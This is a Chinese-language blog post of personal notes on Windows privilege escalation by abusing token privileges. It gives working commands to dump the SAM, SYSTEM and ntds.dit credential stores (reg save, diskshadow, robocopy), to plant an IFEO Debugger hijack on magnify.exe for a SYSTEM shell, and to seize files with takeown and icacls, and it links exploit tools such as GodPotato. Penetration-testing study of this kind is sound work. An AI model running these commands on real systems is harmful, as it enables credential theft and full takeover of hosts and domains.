前言
记录本人在 Windows 环境中遇到过的特权提权方法。
SeImpersonatePrivilege
通常服务账户(如 LOCAL SERVICE
、NETWORK SERVICE
)都拥有此特权,也是最常用的提权方式之一。
可以通过诱导 Windows 服务(如 DCOM)执行 NTLM 身份验证,获取特权令牌,从而以 SYSTEM 权限执行进程。
- 实用工具 👉 GodPotato
示例:
注意:在一些特殊情况下,LOCAL SERVICE
或 NETWORK SERVICE
可能会受到限制而没有 SeImpersonatePrivilege
,可以用 FullPowers 恢复:reproducing-the-conditions-of-the-exploit
SeBackupPrivilege
拥有该特权的进程可对任何文件/对象进行无视 ACL 的读访问,常见于 Backup Operators
组。
典型利用:
- 窃取
SAM
、SYSTEM
、NTDS.dit
,解密获得 NTLM 哈希。
工作组环境下利用:
1 | reg save HKLM\SAM SAM |
域环境中:
需要注意的是,域控制器和 Windows 计算机之间的漏洞利用方法存在差异。。这是因为,对于 DC,该权限仅允许您进行备份,而不能进行复制。在独立系统中,我们可以复制
在域控制器中,我们需要 ntds.dit 文件来提取哈希值以及SYSTEM;ntds.dit 文件的问题在于,当目标机器正在运行时,该文件始终处于使用状态,并且我们非常清楚,当文件未充分使用时,就不可能使用任何方式复制该文件。常规方法。为了避免这个问题,我们需要使用diskshadow功能。这是Windows的内置功能,可以帮助我们创建当前正在使用的驱动器的副本。
有一些使用 diskshadow 的方法,其中包括在 diskshadow shell 中提供指令,但这往往有点棘手。因此,我们将创建一个分布式 Shell 文件或 dsh 文件,其中包含 diskshadow 运行所需的所有命令,并创建 Windows 驱动器的完整副本,然后我们可以使用它来提取 ntds.dit 文件从。
接下来通过windows自带的”diskshadow”工具和”robocopy”工具拿到 ntds.dit文件;
将下面的内容保存至 script.txt文件;这些内容是diskshadow的操作指令,具体作用就是将C盘备份一份到E盘
1 | set metadata C:\Windows\Temp\meta.cab |
运行”diskshadow ”;
1 | diskshadow /s script.txt |
robocopy: 这是一个强大的文件复制命令行工具;**/b**: 表示以备份模式运行;
将”E:\Windows\ntds\ntds.dit“文件复制到当前目录
1 | robocopy /b E:\Windows\ntds . ntds.dit |
1 | 我们现在拥有 ntds.dit 文件,我们需要提取SYSTEM。这可以通过简单的 reg save 命令来完成, |
1 | reg save HKLM\SYSTEM .\SYSTEM |
SeRestorePrivilege
允许对任何文件/对象执行写访问,常用手法是 IFEO(Image File Execution Options)映像劫持:
Image File Execution Options 简单的说,通过修改指定注册表项实现程序的劫持,即运行指定程序实际上运行的是我们自己的后门程序;一个程序要被运行时,会先检查注册表,如果有指定程序并且开启了debugger,那么会优先执行debugger指定的程序,这样也就造成了映像劫持。
如下图所示:“magnify.exe”本来是放大镜的执行文件,我们在其注册表中添加一个”REG_SZ”,“Debugger”指向cmd.exe;
当我们在登陆页面点击放大镜,就会以”system”用户的权限运行一个”cmd.exe”
如下图所示:
可以直接通过reg命令设置映像劫持。这是因为在reg命令内部会自动调用AdjustTokenPrivileges()函数为当前进程开启 SeRestorePrivilege 特权
1 | reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" |
因为可以在任意目录写文件,这意味着还可以劫持dll来提升权限,一篇不错的文章,感兴趣的可以自己看,推荐 👉 Phantom DLL Hijacking
SeTakeOwnershipPrivilege
SeTakeOwnershipPrivilege 特权在攻击面上类似于 SeRestorePrivilege,由于可以接管任意对象,因此可以修改对象的 ACL。我们通过修改 Image File Execution Options 注册表或系统资源的 DACL,使我们拥有完全控制权限,并通过映像劫持、DLL 劫持或劫持服务等方法来获得本地特权提升
SeTakeOwnershipPrivilege 允许您更改文件或文件夹的所有权,使您能够修改或访问受限文件。获得所有权后,您可以更改其自主访问控制列表 (DACL) ,以授予自己完全控制权。
使用 takeown
命令来获取文件或目录的所有权(我用hosts文件举例)
1 | takeown /F C:\Windows\System32\drivers\etc\hosts |
此命令将指定文件的所有权更改为你的用户帐户。
取得所有权后,使用 icacls
命令修改文件的权限,以获得完全控制权
1 | icacls C:\Windows\System32\drivers\etc\hosts /grant <username>:F |
授予自己完全控制权后,就有权限修改文件了;
还可以使用 SeTakeOwnershipPrivilege 修改关键注册表项的所有权和权限,可以修改”image file exectuion options”的所有者,来镜像劫持;
SeManageVolumePrivilege
此特权可以授予计算机上所有用户对 “C:\” 驱动器的完全权限,利用:https://github.com/CsEnox/SeManageVolumeExploit
所有用户都可以对”c:\“目录文件有完全控制权限,下一步可以进行DLL劫持;
后续
还有其他可用于提权的特权 👉 privilege-escalation-abusing-tokens
后续遇到再记录 😀